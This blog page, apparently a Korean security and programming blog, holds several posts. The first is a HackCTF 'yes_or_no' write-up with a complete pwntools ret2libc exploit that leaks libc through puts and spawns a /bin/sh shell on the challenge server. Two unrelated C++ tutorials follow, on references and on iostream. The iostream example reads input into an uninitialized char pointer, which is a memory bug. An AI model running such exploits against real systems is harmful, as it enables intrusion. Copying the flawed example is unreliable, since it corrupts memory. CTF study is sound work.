file 명령으로 문제 바이너리를 확인하면 64비트 바이너리임을 확인할 수 있다.

 checksec 명령으로 적용된 보호기법을 확인해보면 NX 미티게이션이 걸려 있는 것을 확인할 수 있다.

아이다로 문제 바이너리를 확인하면 다음과 같다.

처음에 변수 s에 입력받고 있고, 입력받은 값을 atoi 함수를 이용하여 정수형으로 변환하여 v10에 저장하고 있다. 그리고 35번째줄의 if문에서 연산한 값과 비교하여 if문을 통과하면 gets 함수로 입력을 받고 있는데, 여기서 bof가 발생한다.

if문의 비교하는 값은 gdb를 이용하여 확인할 수 있다.

위 어셈 코드에서 main+237의 cmp문이 gets함수를 실행시키기 위한 if문의 비교하는 부분이다. 따라서 저 위치에 bp를 걸고 실행시킨 후 rax의 값을 확인하면 if문을 통과할 수 있는 값을 얻을 수 있다.

RAX에 들어있는 값이 0x960000이므로 10진수로 9830400을 입력하면 if문의 조건을 만족시켜 gets()함수를 실행시킬 수 있다.

gets() 함수로 bof를 발생시켜 쉘을 실행시키기 위해서는 서버에서 실행되는 바이너리의 puts()함수의 주소를 구하고, 문제에서 주어진 libc 파일로 puts()함수 오프셋을 구하여 libc base 주소를 구하고, libc 파일에서 구한 system 함수의 오프셋과 /bin/sh문자열의 오프셋을 이용하여 서버의 주소값을 구해 넣어주면 된다. 또 문제 설명에서 18.04 버전으로 테스트 하였다는 설명이 있었기에 payload에 ret 주소를 추가 시켜줘야 한다.

payload에서 사용되는 pop ret 가젯과 ret 주소는 다음과 같이 ROPgadget명령을 이용하여 구할 수 있다.

나머지 plt, got 주소와 offset들은 pwntools의 기능들을 이용하여 구할 수 있다.

 

작성한 익스 코드는 다음과 같다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
main = e.symbols['main']
binsh = list(libc.search("/bin/sh"))[0]
pr = 0x000000000400883
ret = 0x000000000040056e

p.sendlineafter("~!\n", "9830400")

pay = "A"*26
pay += p64(pr)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main)

p.sendlineafter("me\n", pay)

puts_addr = u64(p.recv(6) + b"\x00\x00")
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset
binsh_addr = libc_base + binsh

pay = "A"*26
pay += p64(pr)
pay += p64(binsh_addr)
pay += p64(ret)
pay += p64(sys_addr)

p.sendlineafter("~!\n", "9830400")
p.sendlineafter("me\n", pay)

p.interactive()

익스코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.

'Security & Hacking > Wargame' 카테고리의 다른 글

[Hack CTF] Beginner_Heap  (0) 2021.10.18
[HackCTF] RTC  (0) 2021.10.06
[HackCTF] Look at me  (0) 2021.08.06
[HackCTF] RTL_Core  (0) 2021.07.30
[HackCTF] Random Key  (0) 2021.07.28

C에서는 어떠한 변수를 가리키려면 반드시 포인터를 사용해야 했다.

C++에서는 포인터 말고도 레퍼런스(참조자)라는 방식으로 다른 변수나 상수를 가리킬 수 있다.

#include <iostream>

int main()
{
    int a = 3;
    int& another_a = a;     // 참조자 사용

    another_a = 5;
    std::cout << "a : " << a << std::endl;
    std::cout << "another_a : " << another_a << std::endl;

    return 0;
}

위 코드에서는 a 의 참조자 another_a를 정의하였는데, 참조자는 가리키고자 하는 타입 뒤에 &를 붙이면 된다. 

참조자를 선언한다는 것은 another_a는 a의 또 다른 이름이라고 컴파일러에게 알려주는 것이다. 따라서 위 코드에는 another_a에 5를 대입하였지만 a의 값이 5로 바뀐 것을 확인할 수 있다.

레퍼런스(참조자)는 포인터와 비슷하지만 몇가지 차이점이 있다. 레퍼런스는 반드시 정의할 때 어떤 변수나 상수의 별명이 될 것인지 지정해야 한다. int& another_a; 와 같은 형식의 코드는 불가능하다. 또한 레퍼런스가 한 번 별명이 되면 더 이상 다른 변수를 참조 할 수 없다. 

레퍼런스는 메모리 상에 존재하지 않을 수도 있다. 위 코드의 경우 another_a 변수는 메모리 상의 공간을 차지하지 않고 another_a가 쓰이는 자리를 모두 a로 바꾸면 되기 때문이다.

#include <iostream>

int change_var(int& p)
{
    p = 3;

    return 0;
}

int main()
{
    int num = 5;

    std::cout << num << std::endl;
    change_var(num);
    std::cout << num << std::endl;
    
    return 0;
}

위 코드에서는 함수의 인자로 레퍼런스를 받고 있다. 위 설명에서 int& p; 와 같은 코드는 사용할 수 없다고 했지만 함수의 인자로 사용하게 되면 int& p = num;의 의미가 되어 상관없다. 또한 인자로 변수를 넣을 때에도 포인터와 다르게 &num이 아닌 num을 넣으면 된다. 따라서 change_var()함수의 p=3; 이라는 코드는 num = 3; 이라는 코드와 동일하다.

 

#include <iostream>

int main()
{
    const int& ref = 4;

    std::cout << ref << std::endl;
    return 0;
}

위 코드와 같이 리터럴 값을 참조하려면 상수 참조자로 선언해야 한다.

 

레퍼런스의 배열은 C++ 규정상 표준안 8.3.2/4 에 선언할 수 없다고 명시되어 있다.

그러나 반대로 배열들은 레퍼런스로 참조가 가능하다.

#include <iostream>

int main()
{
    int arr[3] = {1, 2, 3};
    int(&ref)[3] = arr;

    ref[0] = 2;
    ref[1] = 3;
    ref[2] = 1;

    std::cout << arr[0] << arr[1] << arr[2] << std::endl;
    return 0;
}

위 코드와 같이 배열의 크기를 명시하여 배열을 참조할 수 있다.

 

#include <iostream>

int function()
{
    int a = 5;
    return a;
}

int main()
{
    const int& c = function();
    std::cout << c << std::endl;
    return 0;
}

위 코드처럼 참조자가 아닌 값을 리턴하는 함수 값을 참조자로 받을 수 있다. 함수의 리턴값을 참조자로 받으려면 const로 선언해줘야 한다.

'Language > C, C++' 카테고리의 다른 글

[C++] 함수 오버로딩 (Function Overloading)  (0) 2021.09.07
[C++] new, delete  (0) 2021.08.24
[C++] 입출력  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15
#include <iostream>

int main()
{
    char *inp;

    // std::cout : 출력
    std::cout << "[+] Input : ";
    // std::cin : 입력
    std::cin >> inp;
    
    std::cout << "[+] Output : ";
    // std::endl : 줄 바꿈
    std::cout << inp << std::endl;

    return 0;
}

iostream 은 Input/Output Stream의 약자로 c++에서 입출력을 위한 헤더 파일이다. 

출력은 std::cout로, 입력은 std::cin으로 받을 수 있다. 

std::endl은 출력 후 줄을 바꿔준다.

'Language > C, C++' 카테고리의 다른 글

[C++] new, delete  (0) 2021.08.24
[C++] Reference(참조자)  (0) 2021.08.21
[Project H4C] C언어 코딩도장(6)  (0) 2021.03.02
[C] 문자 단위 입출력 함수  (0) 2021.01.15
[C] 스트림  (0) 2021.01.15

+ Recent posts